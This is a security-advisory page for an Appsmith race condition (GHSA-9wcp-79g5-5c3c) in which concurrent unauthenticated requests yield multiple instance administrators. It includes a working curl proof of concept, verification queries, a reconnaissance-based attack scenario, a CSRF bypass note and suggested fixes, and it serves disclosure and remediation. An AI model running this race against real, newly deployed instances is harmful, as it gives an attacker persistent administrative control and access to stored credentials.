GHSA-9wcp-79g5-5c3c: Appsmith Super User Creation Race Condition Allows Multiple Instance Administrators
Noroxi assessment
Priority: Monitor (action score 32/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. Special conditions such as timing or configuration are required.
- Fixed version: com.appsmith:server (Maven) 1.99.
Low priority for now. Upgrade to com.appsmith:server (Maven) 1.99 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
## Summary The `/api/v1/users/super` endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the `signupAndLoginSuper()` method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges. ## Severity - **CWE**: CWE-367 (Time-of-Check Time-of-Use Race Condition) - **CVSS 3.1**: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — **8.1 (HIGH)** ## Affected Version - Appsmith Community Edition v1.97.0-SNAPSHOT (release branch) - Docker image: `appsmith/appsmith-ce:release` (pulled 2026-02-25) - Commit: `55ac824f8d42f934cc7a69f8abc52880a6ad39ef` ## Root Cause The `signupAndLoginSuper()` method in `UserSignupCEImpl.java` (lines 270–295) performs a non-atomic check-then-act sequence: ```java // Step 1: CHECK — query MongoDB for existing users userService.isUsersEmpty() .flatMap(isEmpty -> { if (!Boolean.TRUE.equals(isEmpty)) { return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS)); } // Step 2: ACT — create user and grant admin (not atomic with Step 1) return signupAndLogin(user, exchange); }) .flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user))); ``` The `isUsersEmpty()` method (`CustomUserRepositoryCEImpl.java`, lines 35–44) queries MongoDB without any locking mechanism: ```java public Mono<Boolean> isUsersEmpty() { return queryBuilder() .criteria(Bridge.or( notExists(User.Fields.isSystemGenerated), Bridge.isFalse(User.Fields.isSystemGenerated))) .limit(1).all(IdOnly.class).count().map(count -> count == 0); } ``` There is no `@Transactional` annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly. ## Proof of Concept ### Environment Setup ```bash # Start a fresh Appsmith instance docker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release # Wait ~90 seconds for all services to initialize ``` ### Step 1: Verify Fresh State ```bash curl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool # Expected: {"data": {"email": "anonymousUser", ...}} ``` ### Step 2: Send Concurrent Requests ```bash for i in $(seq 1 10); do curl -s -o /tmp/race_result_${i}.txt -w "%{http_code}" \ -X POST http://localhost:9090/api/v1/users/super \ -H "Content-Type: application/x-www-form-urlencoded" \ -H "X-Requested-By: Appsmith" \ -d "email=racer${i}@evil.com&password=TestP4ssw0rd!&name=Racer${i}&allowCollectingAnonymousData=false" & done wait # Check results for i in $(seq 1 10); do echo "racer${i}: $(cat /tmp/race_result_${i}.txt)" done ``` ### Step 3: Verify in MongoDB ```javascript // Connect to MongoDB inside the container // docker exec -it appsmith-test mongosh <connection_string> // Count non-system users (expected: 1, actual: 10) db.user.countDocuments({ isSystemGenerated: { $ne: true } }) // Check who has manage:users permission db.user.find( { isSystemGenerated: { $ne: true } }, { email: 1, "policies.permission": 1 } ).forEach(u => { const hasManage = u.policies?.some(p => p.permission === "manage:users"); printjson({ email: u.email, manage_users: hasManage }); }); // Check Instance Administrator Role assignments db.permissionGroup.findOne( { name: "Instance Administrator Role" }, { assignedToUserIds: 1 } ); ``` ### Observed Results | Metric | Expected | Actual | |--------|----------|--------| | Users created | 1 | **10** | | Users with `manage:users` policy | 1 | **10** | | Users in Instance Administrator Role | 1 | **2** | All 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction. ## Impact 1. **Authorization Bypass**: The one-admin-only restriction is completely defeated by concurrent requests. 2. **Persistent Backdoor**: The attacker's admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list. 3. **Full Instance Compromise**: Instance Administrator privileges grant: - User management (create, delete, modify all users) - Access to all datasource credentials (database passwords, API keys) - Modification of all applications and their server-side logic - Environment configuration (SMTP, OAuth, encryption settings) ## Attack Scenario 1. Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning). 2. Attacker polls `GET /api/v1/users/me` — if the response contains `"email": "anonymousUser"`, the instance has not been set up yet. 3. Attacker sends multiple concurrent `POST /api/v1/users/super` requests. 4. Legitimate administrator completes setup normally, unaware that an attacker account also received Instance Administrator privileges. 5. Attacker now has persistent, full administrative access to the instance. ## Suggested Fix ### Option A: MongoDB Transaction (Recommended) Wrap the check-and-create in a MongoDB transaction to ensure atomicity: ```java public Mono<User> signupAndLoginSuper(...) { return reactiveMongoTemplate.inTransaction().execute(session -> { return userService.isUsersEmpty() .flatMap(isEmpty -> { if (!Boolean.TRUE.equals(isEmpty)) { return Mono.error(new AppsmithException( AppsmithError.UNAUTHORIZED_ACCESS)); } return signupAndLogin(user, exchange); }); }).single() .flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user))); } ``` ### Option B: Distributed Lock Use Redis (already available in Appsmith's stack) to acquire an exclusive lock: ```java public Mono<User> signupAndLoginSuper(...) { return redisLockService.acquireLock("super-user-setup", Duration.ofSeconds(10)) .flatMap(lock -> userService.isUsersEmpty() .flatMap(isEmpty -> { if (!Boolean.TRUE.equals(isEmpty)) { return Mono.error(...); } return signupAndLogin(user, exchange); }) .doFinally(signal -> lock.release())); } ``` ### Option C: Unique Constraint Add a MongoDB unique partial index that prevents more than one super admin: ```javascript db.user.createIndex( { "isSuperAdmin": 1 }, { unique: true, partialFilterExpression: { "isSuperAdmin": true } } ); ``` ## CSRF Note The `POST /api/v1/users/super` endpoint accepts `application/x-www-form-urlencoded` content type. CSRF protection can be bypassed by including the `X-Requested-By: Appsmith` header (`CsrfConfigCE.java`, lines 99–102), which is a static, publicly known value.
- Published
- Jun 12, 2026
- Updated
- Jun 12, 2026
- EPSS
- —
- CWE
- CWE-367
Report tools
Action score
32
Low priority for now.
- CVSS
- 32 / 40 · 8.1 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
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| Vendor | Product | CPE |
|---|---|---|
| Maven | com.appsmith:server | pkg:maven/com.appsmith/server |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| Maven | com.appsmith:server | before 1.99 | 1.99 |
Same product
Maven: all recordsOther highest-scoring records for the same primary product.
- GHSA-j9gf-vw2f-9hrwAppsmith: Configuration-dependent origin validation bypass in password reset and email verification link generation32Monitor
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| Maven:com.appsmith:server | 1.99 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- No user action is required.
- Special conditions such as timing or configuration are required.
If successful
- Confidentiality
- high · data can be read
- Integrity
- high · data or configuration can be modified
- Availability
- high · the service can be disrupted
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality impact
- High
- Integrity impact
- High
- Availability impact
- High
Weakness class (CWE)
CWE-367 · Time-of-check Time-of-use (TOCTOU) Race ConditionCVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Change log (1)
- Fix✗ → ✓
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References
Show all references (2 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.